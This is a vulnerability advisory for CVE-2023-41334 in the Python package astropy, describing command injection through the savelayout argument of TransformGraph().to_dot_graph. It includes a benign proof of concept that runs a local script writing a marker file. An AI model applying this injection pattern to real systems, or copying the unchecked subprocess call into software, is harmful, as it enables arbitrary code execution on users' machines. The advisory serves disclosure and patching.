CVE-2023-41334 – astropy

Package

Manager: pip
Name: astropy
Vulnerable Version: >=0 <5.3.3

Severity

Level: High

CVSS v3.1: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVSS v4.0: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

EPSS: 0.00635 pctl0.69508

Details

RCE in TranformGraph().to_dot_graph function ### Summary RCE due to improper input validation in TranformGraph().to_dot_graph function ### Details Due to improper input validation a malicious user can provide a command or a script file as a value to `savelayout` argument, which will be placed as the first value in a list of arguments passed to `subprocess.Popen`. https://github.com/astropy/astropy/blob/9b97d98802ee4f5350a62b681c35d8687ee81d91/astropy/coordinates/transformations.py#L539 Although an error will be raised, the command or script will be executed successfully. ### PoC ```shell $ cat /tmp/script #!/bin/bash echo astrorce > /tmp/poc.txt ``` ```shell $ python3 Python 3.9.2 (default, Feb 28 2021, 17:03:44) [GCC 10.2.1 20210110] on linux Type "help", "copyright", "credits" or "license" for more information. >>> from astropy.coordinates.transformations import TransformGraph >>> tg = TransformGraph() >>> tg.to_dot_graph(savefn="/tmp/1.txt", savelayout="/tmp/script") Traceback (most recent call last): File "<stdin>", line 1, in <module> File "/home/u32i/.local/lib/python3.9/site-packages/astropy/coordinates/transformations.py", line 584, in to_dot_graph stdout, stderr = proc.communicate(dotgraph) File "/usr/lib/python3.9/subprocess.py", line 1134, in communicate stdout, stderr = self._communicate(input, endtime, timeout) File "/usr/lib/python3.9/subprocess.py", line 1961, in _communicate input_view = memoryview(self._input) TypeError: memoryview: a bytes-like object is required, not 'str' >>> ``` ```shell $ cat /tmp/poc.txt astrorce ``` ### Impact code execution on the user's machine

Metadata

Created: 2024-03-18T20:26:33Z
Modified: 2024-03-18T21:46:18Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/03/GHSA-h2x6-5jx5-46hf/GHSA-h2x6-5jx5-46hf.json
CWE IDs: ["CWE-74", "CWE-77"]
Alternative ID: GHSA-h2x6-5jx5-46hf
Finding: F422
Auto approve: 1